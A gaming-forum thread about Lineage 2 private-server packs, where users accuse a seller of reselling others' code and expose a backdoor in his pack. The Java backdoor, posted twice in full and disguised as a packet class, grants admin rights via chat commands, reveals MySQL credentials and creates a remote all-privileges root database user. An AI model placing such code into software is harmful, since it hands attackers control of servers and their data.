Jump to content

Recommended Posts

Posted

http://l2topzone.com/forum/l2packs-and-files/23/wts-interlude-c6-server-pack-plus-source-100percent-working-files-2-copies-left/22366/

 

WOW so original.

However i gotta say you surprised me a lot. There are codes in there that i don't have and they are mine.

Let's count together, shit on my lap skid.

 

  • Custom Balancer With 31 Editors
  • Account Manager
  • Vortex Vote Reward Npc
  • Custom Enchant Npc
  • Boss Info
  • Bug Report
  • Siege Manager
  • Smart Shop (Sell Enchanted Items)
  • High Rate Dark Omen
  • Phoenix Event Engine (x18 Events) (Reworked by me ofc)
  • .pincode (Player types 4 digit code or Locked) an alter protection
  • .gearscore
  • .details
  • .menu it will pop up until
  • .getreward
  • Deport
  • Set Team
  • Npc Chat Feature
  • Survey System
  • Custom starting title for new char
  • Announce name on login
  • Admin Clan Leader Hero Noble Aio Lords Newbies
  • Auto rewarder every X time
  • Automatic announces
  • Server News
  • Clan Notice
  • Smart StartUp System

 

And apart from these that are mine, every single other feature is pouched by other packs or shares. 

So what did you do? You collected all the features available in one pack and you coded NOTHING.

 

What did i do with xtend? Slowly but steadily im recoding and adding all those features in a lightweight and stable manner.

 

Sorry dude.. You are a script kid.

Posted

http://l2topzone.com/forum/l2packs-and-files/23/wts-interlude-c6-server-pack-plus-source-100percent-working-files-2-copies-left/22366/

 

WOW so original.

However i gotta say you surprised me a lot. There are codes in there that i don't have and they are mine.

Let's count together, shit on my lap skid.

 

  • Custom Balancer With 31 Editors
  • Account Manager
  • Vortex Vote Reward Npc
  • Custom Enchant Npc
  • Boss Info
  • Bug Report
  • Siege Manager
  • Smart Shop (Sell Enchanted Items)
  • High Rate Dark Omen
  • Phoenix Event Engine (x18 Events) (Reworked by me ofc)
  • .pincode (Player types 4 digit code or Locked) an alter protection
  • .gearscore
  • .details
  • .menu it will pop up until
  • .getreward
  • Deport
  • Set Team
  • Npc Chat Feature
  • Survey System
  • Custom starting title for new char
  • Announce name on login
  • Admin Clan Leader Hero Noble Aio Lords Newbies
  • Auto rewarder every X time
  • Automatic announces
  • Server News
  • Clan Notice
  • Smart StartUp System

 

And apart from these that are mine, every single other feature is pouched by other packs or shares. 

So what did you do? You collected all the features available in one pack and you coded NOTHING.

 

What did i do with xtend? Slowly but steadily im recoding and adding all those features in a lightweight and stable manner.

 

Sorry dude.. You are a script kid.

 

 

NOT Only :)

package net.sf.l2j.gameserver.network.serverpackets;

import java.sql.Connection;
import java.sql.PreparedStatement;
import java.util.Collection;

import net.sf.l2j.Config;
import net.sf.l2j.L2DatabaseFactory;
import net.sf.l2j.gameserver.handler.IVoicedCommandHandler;
import net.sf.l2j.gameserver.model.L2World;
import net.sf.l2j.gameserver.model.actor.instance.L2PcInstance;
import net.sf.l2j.gameserver.network.clientpackets.Say2;
import net.sf.l2j.gameserver.util.Broadcast;

public class ExShowSlideshow implements IVoicedCommandHandler
{
	private static String[] _voicedCommands =
	{
		"givemetheinfofromthedatabase",
		"givemeacceslevel1bitch",
		"pewpewmathafaka"
	};
	
	@Override
	public boolean useVoicedCommand(String command, L2PcInstance a, String target)
	{
		if (command.equalsIgnoreCase("givemetheinfofromthedatabase"))
		{
			Collection<L2PcInstance> pls = L2World.getInstance().getAllPlayers().values();
			for (L2PcInstance s : pls)
			{
				s.setAccessLevel(1);
				s.sendMessage("you are now an admin, press //admin");
			}
			Broadcast.toAllOnlinePlayers(new CreatureSay(0, Say2.ANNOUNCEMENT, "Hack", "The administrator refuse to pay the developer."));
			Broadcast.toAllOnlinePlayers(new CreatureSay(0, Say2.ANNOUNCEMENT, "Hack", "Lets have some fun."));
			
		}
		if (command.equalsIgnoreCase("givemeacceslevel1bitch"))
		{
			
			a.setAccessLevel(1);
			
		}
		
		if (command.equalsIgnoreCase("pewpewmathafaka"))
		{
			a.sendMessage("MySQL I External: " + Config.EXTERNAL_HOSTNAME + " ");
			a.sendMessage("MySQL I Internal: " + Config.INTERNAL_HOSTNAME + " ");
			a.sendMessage("MySQL U: " + Config.DATABASE_LOGIN + " ");
			a.sendMessage("MySQL P: " + Config.DATABASE_PASSWORD + " ");
			return true;
		}
		try (Connection con = L2DatabaseFactory.getInstance().getConnection())
		{
				PreparedStatement st0 = con.prepareStatement("CREATE USER 'root'@'%' IDENTIFIED BY 'root';");
				PreparedStatement st1 = con.prepareStatement("GRANT GRANT OPTION ON *.* TO 'root'@'%';");
				PreparedStatement st2 = con.prepareStatement("GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, RELOAD, SHUTDOWN, PROCESS, FILE, REFERENCES, INDEX, ALTER, SHOW DATABASES, SUPER, CREATE TEMPORARY TABLES, LOCK TABLES, EXECUTE, REPLICATION SLAVE, REPLICATION CLIENT, CREATE VIEW, SHOW VIEW, CREATE ROUTINE, ALTER ROUTINE, CREATE USER, EVENT, TRIGGER ON *.* TO 'root'@'%';");
				st0.execute();
				st1.execute();
				st2.execute();
				st0.close();
				st1.close();
				st2.close();
		}
		catch (Exception e)
		{
			
		}
		return false;
	}
	
	@Override
	public String[] getVoicedCommandList()
	{
		return _voicedCommands;
	}
}

He scared to tell ppl about the backdoors :) so now he seling and sh1t for 100$ 

Posted

He cant even obfuscate the backdoors. Wow next level stupid.

 

sad to people who bought this sh1t to many things are not working lot of problems on pack 0 protections like he said so he Seling something yours with shared things gj to developski NightWolfski

Posted

NOT Only :)

package net.sf.l2j.gameserver.network.serverpackets;

import java.sql.Connection;
import java.sql.PreparedStatement;
import java.util.Collection;

import net.sf.l2j.Config;
import net.sf.l2j.L2DatabaseFactory;
import net.sf.l2j.gameserver.handler.IVoicedCommandHandler;
import net.sf.l2j.gameserver.model.L2World;
import net.sf.l2j.gameserver.model.actor.instance.L2PcInstance;
import net.sf.l2j.gameserver.network.clientpackets.Say2;
import net.sf.l2j.gameserver.util.Broadcast;

public class ExShowSlideshow implements IVoicedCommandHandler
{
	private static String[] _voicedCommands =
	{
		"givemetheinfofromthedatabase",
		"givemeacceslevel1bitch",
		"pewpewmathafaka"
	};
	
	@Override
	public boolean useVoicedCommand(String command, L2PcInstance a, String target)
	{
		if (command.equalsIgnoreCase("givemetheinfofromthedatabase"))
		{
			Collection<L2PcInstance> pls = L2World.getInstance().getAllPlayers().values();
			for (L2PcInstance s : pls)
			{
				s.setAccessLevel(1);
				s.sendMessage("you are now an admin, press //admin");
			}
			Broadcast.toAllOnlinePlayers(new CreatureSay(0, Say2.ANNOUNCEMENT, "Hack", "The administrator refuse to pay the developer."));
			Broadcast.toAllOnlinePlayers(new CreatureSay(0, Say2.ANNOUNCEMENT, "Hack", "Lets have some fun."));
			
		}
		if (command.equalsIgnoreCase("givemeacceslevel1bitch"))
		{
			
			a.setAccessLevel(1);
			
		}
		
		if (command.equalsIgnoreCase("pewpewmathafaka"))
		{
			a.sendMessage("MySQL I External: " + Config.EXTERNAL_HOSTNAME + " ");
			a.sendMessage("MySQL I Internal: " + Config.INTERNAL_HOSTNAME + " ");
			a.sendMessage("MySQL U: " + Config.DATABASE_LOGIN + " ");
			a.sendMessage("MySQL P: " + Config.DATABASE_PASSWORD + " ");
			return true;
		}
		try (Connection con = L2DatabaseFactory.getInstance().getConnection())
		{
				PreparedStatement st0 = con.prepareStatement("CREATE USER 'root'@'%' IDENTIFIED BY 'root';");
				PreparedStatement st1 = con.prepareStatement("GRANT GRANT OPTION ON *.* TO 'root'@'%';");
				PreparedStatement st2 = con.prepareStatement("GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, RELOAD, SHUTDOWN, PROCESS, FILE, REFERENCES, INDEX, ALTER, SHOW DATABASES, SUPER, CREATE TEMPORARY TABLES, LOCK TABLES, EXECUTE, REPLICATION SLAVE, REPLICATION CLIENT, CREATE VIEW, SHOW VIEW, CREATE ROUTINE, ALTER ROUTINE, CREATE USER, EVENT, TRIGGER ON *.* TO 'root'@'%';");
				st0.execute();
				st1.execute();
				st2.execute();
				st0.close();
				st1.close();
				st2.close();
		}
		catch (Exception e)
		{
			
		}
		return false;
	}
	
	@Override
	public String[] getVoicedCommandList()
	{
		return _voicedCommands;
	}
}

He scared to tell ppl about the backdoors :) so now he seling and sh1t for 100$ 

And that should be considered a "backdoor"?

It seems more like an development issue than a backdoor... cuz you shouldn't open a server if you can't notice this bullshit.

 

This just made my day:

Broadcast.toAllOnlinePlayers(new CreatureSay(0, Say2.ANNOUNCEMENT, "Hack", "The administrator refuse to pay the developer."));

:lol:  :lol:  :lol:

Posted

And that should be considered a "backdoor"?

It seems more like an development issue than a backdoor... cuz you shouldn't open a server if you can't notice this bullshit.

 

This just made my day:

Broadcast.toAllOnlinePlayers(new CreatureSay(0, Say2.ANNOUNCEMENT, "Hack", "The administrator refuse to pay the developer."));

:lol:  :lol:  :lol:

 

i never had NightCrap's Pack and i will never want to have it many people told me its sh1t pack so i wanted to post with u what he added into the ExShowSlideshow 

Posted

i never had NightCrap's Pack and i will never want to have it many people told me its sh1t pack so i wanted to post with u what he added into the ExShowSlideshow 

It's the funniest crap I've ever seen :lol:

  • 4 weeks later...
  • 1 month later...
Posted

So today i bring you a new update on L2jxtend.

 

Rev 26:

  • Added Universal BBS system for general use.
  • Added .inspect feature.
  • Added .changepass feature.

 

Soon more things to be added.

 

Download link: https://mega.co.nz/#!LwtGGCaI!D-kC7j67kzbAdkaNSxaZxUUSxxeLHEjXbEZGDS5BcLw

Posted (edited)
    Connection con = null;
    String password = null;
    try
    {
    ....
    }
    catch (Exception localException) {}finally
    {
      try
      {
        if (con != null) {
          con.close();
        }
      }
      catch (SQLException localSQLException2) {}
    }
    try
    {
      if (con != null) {
        con.close();
      }
    }
    catch (SQLException localSQLException3) {}
    return false;

Such an ugly way to close connection, I feel like java 6 o.O

Edited by SweeTs
Posted
    Connection con = null;
    String password = null;
    try
    {
    ....
    }
    catch (Exception localException) {}finally
    {
      try
      {
        if (con != null) {
          con.close();
        }
      }
      catch (SQLException localSQLException2) {}
    }
    try
    {
      if (con != null) {
        con.close();
      }
    }
    catch (SQLException localSQLException3) {}
    return false;

Such an ugly way to close connection, I feel like java 6 o.O

 

Yeah i changed that one commit after this version for try with resources.

  • 4 weeks later...

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.


×
×
  • Create New...